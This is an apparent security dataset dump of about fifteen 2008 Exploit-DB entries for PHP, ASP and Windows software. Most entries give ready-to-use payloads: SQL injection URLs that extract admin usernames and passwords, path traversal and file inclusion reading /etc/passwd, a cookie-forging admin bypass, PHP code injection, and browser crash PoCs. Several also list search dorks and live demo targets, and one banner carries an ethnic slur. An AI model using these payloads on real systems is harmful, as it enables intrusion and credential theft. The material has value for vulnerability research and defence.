QLWD/code_shield huggingface dataset:
标题: BbZL.php 0.92 - 'lien_2' Local Directory Traversal EDB-ID: 6617 CVE: 2008-4707 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-28 漏洞利用脚本: -------------------------------------------------------------------------
  --          JIKI Team [ JIKO + KIl1er ]        ---
-------------------------------------------------------------------------
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-back.org
# Script  : BbZL.PhP
# Bug   : Local Directory Traversal
# Download  : http://sylvain.pasquet1.free.fr/index.php?type=1&base=vjek&nom=TÃ©lÃ©chargements
=========================JIkI Team===================
# Exploit  :
 http://localhost/cc/bbzl092/index.php?type=3&lien_2=../
#ex   :
http://sylvain.pasquet1.free.fr/index.php?type=3&lien_2=config
http://barbeuzweb.free.fr/index.php?type=3&lien_2=config
=========================JIKI Team===================
 greetz : all my friend and H-T Team and Stack-Terrorist and Gold_M and all No-back members and tryag.Com
 visit: www.no-back.org & www.tryag.com 
-------------------------------------------------------------------------
  --            JIKI Team [ JIKO + KIl1er ]    --
-------------------------------------------------------------------------

# milw0rm.com [2008-09-28] URL: https://www.exploit-db.com/exploits/6617
标题: PHP-Fusion Mod freshlinks - 'linkid' SQL Injection EDB-ID: 6620 CVE: 2008-5074 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-28 漏洞利用脚本: ########################################################
PHP-Fusion Mod freshlinks (linkid) Remote SQL Injection Vulnerability
########################################################



++++++++++++++++++++++++++++
Author     :     boom3rang
webpage  :    www.khg-crew.ws 
greetz     :    H!tm@N, KHG, chs, redc00de, pr0xy-ki11er | Kosova Hackers Group.
++++++++++++++++++++++++++++




[+] Dork:                     inurl:"freshlinks_panel/index.php?linkid"

[+] Example:         http://localhost/infusions/freshlinks_panel/index.php?linkid= [SQL] &frame

username:
index.php?linkid=-9999/**/union/**/all/**/select/**/1,user_name,3,4,5,6,7,8/**/from/**/fusion_users--&frame

password: 
index.php?linkid=-9999/**/union/**/all/**/select/**/1,user_password,3,4,5,6,7,8/**/from/**/fusion_users--&frame


ps. Username and Password you can find in Title!

############################################
                     =United State of Albania=
                        -Porud 2 be Albanian-
                        -Proud 2 be Muslim-
############################################

# milw0rm.com [2008-09-28] URL: https://www.exploit-db.com/exploits/6620
标题: Post Comments 3.0 - Insecure Cookie Handling EDB-ID: 6625 CVE: 2008-4721 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-29 漏洞利用脚本: Post Comments v3.0 Insecure Cookie Handling Vulnerability
****************************
By Crackers_Child
****************************
Demo : http://www.phpjabbers.com/post-comment/try/admin.php

Vendor :   by phpjabbers.com

Exploit : javascript:document.cookie = "PostCommentsAdmin=logged; path=/";
****************************
Tum Musluman Aleminin Ramazan Bayrami Kutlu Olsun.
****************************

# milw0rm.com [2008-09-29] URL: https://www.exploit-db.com/exploits/6625
标题: Microsoft Internet Explorer - GDI+ (PoC) (MS08-052) EDB-ID: 6619 CVE: 2007-5348 类型: DOS 平台: WINDOWS 发布日期: 2008-09-28 漏洞利用脚本: <html>
<head>
<STYLE>
ef\:* { behavior: url(#default#VML); } 
</STYLE>
</head>

<body>

<pre>
================================================
MS08-052: GDI+ Vulnerability
------------------------------------------------
Operating System: XP SP2
Internet Explorer Version: 6.0.2900.2180
Gdiplus.dll Version: 5.1.3102.2180

Credit:
John Smith,
Evil Fingers

Link: http://www.evilfingers.com/patchTuesday/MS08_052_GDI+_Vulnerability.txt
================================================
</pre>

<XML:NAMESPACE  ns="urn:schemas-microsoft-com:vml" prefix="ef">


<ef:oval style='left: 500; top: 500; width: 500px; height: 500px;' fill="true" id='ef_oval'>
<ef:fill type="gradientCenter";></ef:fill>
</ef:oval>
  
<script>
var focus_size = "-5, -4";
var focus_pos = ".1, .1";
var ef_oval = document.getElementById('ef_oval');

ef_oval.fill.focussize = focus_size;
ef_oval.fill.focusposition = focus_pos;
</script>
</body>
</html>

# milw0rm.com [2008-09-28] URL: https://www.exploit-db.com/exploits/6619
标题: Pilot Group eTraining - 'news_read.php' SQL Injection EDB-ID: 6613 CVE: 2008-4709 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-28 漏洞利用脚本: --==+================================================================================+==--
--==+       Pilot Online Training Solution Remote SQL Injection Vulnerbility         +==--
--==+================================================================================+==--

-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

AUTHOR: S.W.A.T.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-

Site: http://www.elmspro.com/etraining/

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

DORK (google): "Powered by PG Online Training Solution - learning management system"

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

DESCRIPTION:
You Can See Admin User & MD5 Password ..::.. Then Crack It & Login ;) :D

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

EXPLOITS:
www.site.com/news_read.php?id=-1/**/union/**/select/**/1,login,3,4,password,6,7,8,9/**/from/**/students/*

Online Demo:
http://www.elmspro.com/etraining/demo/news_read.php?id=-1/**/union/**/select/**/1,login,3,4,password,6,7,8,9/**/from/**/students/*

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

NOTE/TIP:

Admin Login Is At /admin/


-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


--==+================================================================================+==--
--==+       Pilot Online Training Solution Remote SQL Injection Vulnerbility         +==--
--==+================================================================================+==--

# milw0rm.com [2008-09-28] URL: https://www.exploit-db.com/exploits/6613
标题: ParsaWeb CMS - 'Search' SQL Injection EDB-ID: 6610 CVE: 2008-4364 类型: WEBAPPS 平台: ASP 发布日期: 2008-09-28 漏洞利用脚本: ########################## www.BugReport.ir #######################################
#
#        AmnPardaz Security Research Team
#
# Title: ParsaWeb CMS SQL Injection
# Vendor: http://www.parsagostar.com
# Demo: http://cms.parsagostar.com/
# Exploit: Available
# Impact: High
# Fix: N/A
# Original advisory: http://www.bugreport.ir/index_53.htm
###################################################################################

####################
1. Description:
####################

    ParsaWeb is a commercial ASP.NET website and content management system.

####################
2. Vulnerabilities:
####################

    Input passed to the "id" parameter in default.aspx and txtSearch in search section are not properly sanitised before being used in SQL queries.
    This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.


####################
3. Exploits/POCs:
####################

    http://www.example.com/?page=page&id=-164 or 1=(select top 1 user_pass from tblUsers where user_name = 'admin')

    http://www.example.com/?page=Search
    Search:AmnPardaz%') union ALL select '1',user_name+':'+user_pass,'3','4','5','6','7','8','9','10',11 from tblUsers--



####################
4. Solution:
####################

    Edit the source code to ensure that inputs are properly sanitized.

####################
5. Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com

# milw0rm.com [2008-09-28] URL: https://www.exploit-db.com/exploits/6610
标题: X7 Chat 2.0.1A1 - Local File Inclusion EDB-ID: 6607 CVE: 2008-4718 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: -------------------------------------------------------------------------
  --          JIKI Team [ JIKO + KIl1er + merwan-neo ]        ---
-------------------------------------------------------------------------
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-exploit.Com
# Script  : X7 Chat Version 2.0.1
# Bug   :  Local File Inclusion Vulnerability
=========================JIkI Team===================
# Exploit  :
 
 http://localhost/[script]/help/mini.php?help_file=[file]
=========================JIKI Team===================
 greetz : all my friend and all No-back members and tryag.Com Gold_M
          Cochlain , Hcj , Hassin X , all muslims
 visit: www.no-back.org & www.tryag.com & ==> www.no-exploit.Com
-------------------------------------------------------------------------
  --            JIKI Team [ JIKO + KIl1er ]    --
-------------------------------------------------------------------------
------==        troops of Mohamed comming inchalah     =-----------------
Ana muslim , Ana 3arabi , Ana Magribi , bladi maroc

# milw0rm.com [2008-09-27] URL: https://www.exploit-db.com/exploits/6607
标题: PlugSpace 0.1 - 'navi' Local File Inclusion EDB-ID: 6602 CVE: 2008-4739 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##############################################################
 #  [ PlugSpace v0.1 ]   Local File Inclusion Vulnerability   #
 ##############################################################
 #
 # Download: http://sourceforge.net/projects/plugspace/
 #
 # Vuln: http://site.com/[plugspace]/index.php?navi=../../../../../../../etc/passwd%00
 #      
 #
 # Bug: ./plugspace/index.php (lines: 64-81)
 #
 # ...
 # 64:  if (!isset($_GET['navi']))
 # 65:  {
 #  ... 
 # 77:  }
 # 78:  else
 # 79:  {
 # 80:   include("plugins/".$_GET['navi']."/main.php");   // LFI
 # 81:  }
 # ...   
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-27] URL: https://www.exploit-db.com/exploits/6602
标题: PHP-Lance 1.52 - 'catid' SQL Injection EDB-ID: 6605 CVE: 2008-4716 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|




<<!>> Found by :  Cyb3r-1sT

<<!>> C0ntact  : cyb3r-1st [at] hotmail.com ..$<->$.. t3tto0 [at] yahoo.com
                   
<<!>> Groups   : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection +++++++++++++
=======================================================


<<->> script    :  PHP-Lance v1.52
 
<<->> Demo site : www.scriptdemo.com/php-lance


=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : N0-WaY

<<->> Exploit :

   >>>>  www.site.me/patch/show.php?catid=-9999'+union+select+concat(user(),0x3a,database(),0x3a,version())/*

=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================

<<->> InjEctOr5 TeaM   

<<->> All freind and All muslims

# milw0rm.com [2008-09-27] URL: https://www.exploit-db.com/exploits/6605
标题: Pro Chat Rooms 3.0.3 - SQL Injection EDB-ID: 6612 CVE: 2008-5070 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-28 漏洞利用脚本: Author: ~!Dok_tOR!~
Date found: 28.09.08
Product: Pro Chat Rooms
Version: 3.0.3
Price: $55
URL: www.prochatrooms.com
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

Exploit 1:

http://localhost/[installdir]/profiles/index.php?gud=-1'+union+select+1,concat_ws(0x3a,user_name,password,email),3,4,5,6,7,8+from+prochatrooms_users/*

Exploit 2:

http://localhost/[installdir]/profiles/admin.php?gud=-1'+union+select+1,concat_ws(0x3a,user_name,password,email),3,4,5,6,7,8+from+prochatrooms_users/*

# milw0rm.com [2008-09-28] URL: https://www.exploit-db.com/exploits/6612
标题: MyCard 1.0.2 - 'id' SQL Injection EDB-ID: 6603 CVE: 2008-4738 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: ################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#-Marezzi-P47tr1ck- FeDeReR -MAGE -JeTFyrE- DON-Outlawz        #
#        and all darkc0de and NikTrix members               ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com & niktrix.info
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title:  MyCard script  1.0.2 (gallery.php?id) SQL Injection
#
# VEndor: http://www.tufat.com/s_business_card_designer.htm
# 
#
###########################################################
#
# d0rk: Powered by MyCard
#
###########################################################
 
     POC :- 
 
 http://www.site.com/[path]/gallery.php?id=-1+union+select+1,concat(login_id,0x3a,login_pass),2,3+from+pcard_user/*        
   
     Live Demo: 
 
 For live demo first go here : http://demo.tufat.com/mycard/index.php and register and then u can test like this :

 http://demo.tufat.com/mycard/gallery.php?id=-1+union+select+1,concat(login_id,0x3a,login_pass),2,3+from+pcard_user/*
 
###########################################################
#
#  Bug discovered : 28 Sep.2008
###########################################################

# milw0rm.com [2008-09-27] URL: https://www.exploit-db.com/exploits/6603
标题: ZEELYRICS 2.0 - 'bannerclick.php' SQL Injection EDB-ID: 6608 CVE: 2008-4717 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-28 漏洞利用脚本: |___________________________________________________|
|
| ZEELYRICS v2.0 (bannerclick.php adid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home : IQ-SecuritY  >   www.IQ-tY.com
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script http://zeeways.com/main/products/ZEELYRICS-v2.0.html
|
|___________________________________________________|

Exploit: 
________



www.[target].com/Script/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--




L!VE DEMO:
_________


http://www.zeelyrics.com/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin--





___________________


Admin  LogiN :

www.[target].com/Script/admin/


____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|     FAHD | Iraqihack  | str0ke | Cyber-Zone
|_____________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-09-28] URL: https://www.exploit-db.com/exploits/6608
标题: LnBlog 0.9.0 - 'plugin' Local File Inclusion EDB-ID: 6601 CVE: 2008-4712 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###############################################################
 #  [ LnBlog <= 0.9.0 ]   Local File Inclusion Vulnerability   #
 ###############################################################
 #
 # Script: "LnBlog A cross-platform, file-based weblog/mini-CMS."
 #
 # Script site: http://lnblog.skepticats.com/
 # Download: http://lnblog.skepticats.com/content/download/
 #      http://sourceforge.net/projects/lnblog/
 #
 # Vuln: http://site.com/[lnblog-0.9.0]/pages/showblog.php?plugin=../../../../../../../etc/passwd%00
 #      
 #
 # Bug: ./lnblog-0.9.0/pages/showblog.php (lines: 109,110)
 #
 # ...
 # } elseif ( isset($_GET['plugin']) ) {
 #  require_once("plugins/".$_GET['plugin'].".php");
 # ...   
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-27] URL: https://www.exploit-db.com/exploits/6601
标题: Chilkat IMAP ActiveX 7.9 - File Execution / Denial of Service EDB-ID: 6600 CVE: 2008-7022 类型: REMOTE 平台: WINDOWS 发布日期: 2008-09-27 漏洞利用脚本: ##################Chilkat IMAP ActiveX File Execution&IE DoS ################

www.chilkasoft.com

####By:  e.wiZz!
####Info: Bosnian Idiot FTW!
####Site: infected.blogger.ba
####Greetz: suN8Hclf,Luigi and peoples from hakin9 forum

In the wild...

#####################################################################################

File: ChilkatMail_v7_9.dll
ProgID: ChilkatMail2.ChilkatMailMan2.1
CLSID: 126FB030-1E9E-4517-A254-430616582C50

Description:

Function "LoadXmlEmail()" allows us to execute file which leads to DoS in IE.

Tested on IE 6,Win xp sp2

#####################################################################################

<object classid='clsid:126FB030-1E9E-4517-A254-430616582C50' id='inthewild' />
<script language='vbscript'>

targetFile = "C:\Program Files\Chilkat Software Inc\Chilkat IMAP ActiveX\ChilkatMail_v7_9.dll"
prototype  = "Function LoadXmlEmail ( ByVal emailFilename As String ) As IChilkatEmail2"
memberName = "LoadXmlEmail"
progid     = "CHILKATMAILLib2.ChilkatMailMan2"
argCount   = 1

arg1="C:\Program Files\mIRC\mirc.exe"

inthewild.LoadXmlEmail arg1 

</script>

# milw0rm.com [2008-09-27] URL: https://www.exploit-db.com/exploits/6600
标题: Yoxel 1.23beta - 'itpm_estimate.php' Remote Code Execution EDB-ID: 6606 CVE: 2008-5071 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###############################################################
 #  [ Yoxel <= 1.23beta ]   PHP code Injection Vulnerability   #
 ###############################################################
 #
 # Script: "Yoxel is a hidden gem. This Open Source project provides customer/business focused Agile Product Management tools in PHP."
 #
 # Script site: http://www.yoxel.com/
 # Download: http://sourceforge.net/projects/yoxel/
 #
 # Vuln:
 # http://site.com/[yoxel_v1.23beta]/itpm/itpm_estimate.php?a=LOCAL_OR_REMOTE_FILE&rid=1&proj_id=);include($_GET[a]);die(2
 # http://site.com/[yoxel_v1.23beta]/itpm/itpm_estimate.php?a=LOCAL_OR_REMOTE_FILE&proj_id=);include($_GET[a]);die(2
 # 
 #
 # (1) Bug: ./yoxel_v1.23beta/itpm/itpm_estimate.php (line: 40)
 #
 # ...
 #    require_once('includes/project/estimate_inc.php');
 # ...        
 #
 # 
 # (2) Bug: ./yoxel_v1.23beta/includes/project/estimate_inc.php (lines: 85-99)
 #
 # ...
 # if(isset($_GET['rid'])){
 #  $rids=explode(':',$_GET['rid']);
 #  if(isset($_GET['proj_id']) && $_GET['proj_id']){
 #   $proj_id=$_GET['proj_id'];
 #   eval("\$pps= new $cname(".$_GET['proj_id'].");");  // PHP inj 1
 #  }
 # }elseif(isset($_GET['proj_id']) && !empty($_GET['proj_id'])){
 #   $proj_id=$_GET['proj_id'];
 #
 #  if(isset($_GET['pr_list_type']))
 #    $plt=$_GET['pr_list_type'];
 #  else
 #    $plt='full';
 # 
 #  eval("\$pps= new $cname($proj_id);");     // PHP inj 2
 # ...        
 #
 #     
 # After php injection: eval( $pps= new ITPlan();include('/etc/passwd');die(2); );
 #
 # IMPORTANT: This bug doesn't work, when you aren't logged in Yoxel ;(((
 #
 # 
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-27] URL: https://www.exploit-db.com/exploits/6606
标题: PowerPortal 2.0.13 - 'path' Local Directory Traversal EDB-ID: 6604 CVE: 2008-4361 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-27 漏洞利用脚本: ################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#-Marezzi-P47tr1ck- FeDeReR -MAGE -JeTFyrE- DON-Outlawz        #
#        and all darkc0de and NikTrix members               ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com & niktrix.info
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title:  PowerPortal 2 Local Directory Traversal Vulnerability
#
# VEndor: http://www.powerportal2.com/
# 
#
###########################################################
#
# d0rk: n/a
#
###########################################################
 
     POC :- 
 
 http://site.com/index/Gallery/?path=../../../../../../../       
   
     Live Demo: 
 
 http://demo.powerportal2.com/index/Gallery/?path=../../../../../../../

 http://demo.powerportal2.com/index/Gallery/?path=../../../../../../../dev
 
###########################################################
#
#  Bug discovered : 28 Sep.2008
###########################################################

# milw0rm.com [2008-09-27] URL: https://www.exploit-db.com/exploits/6604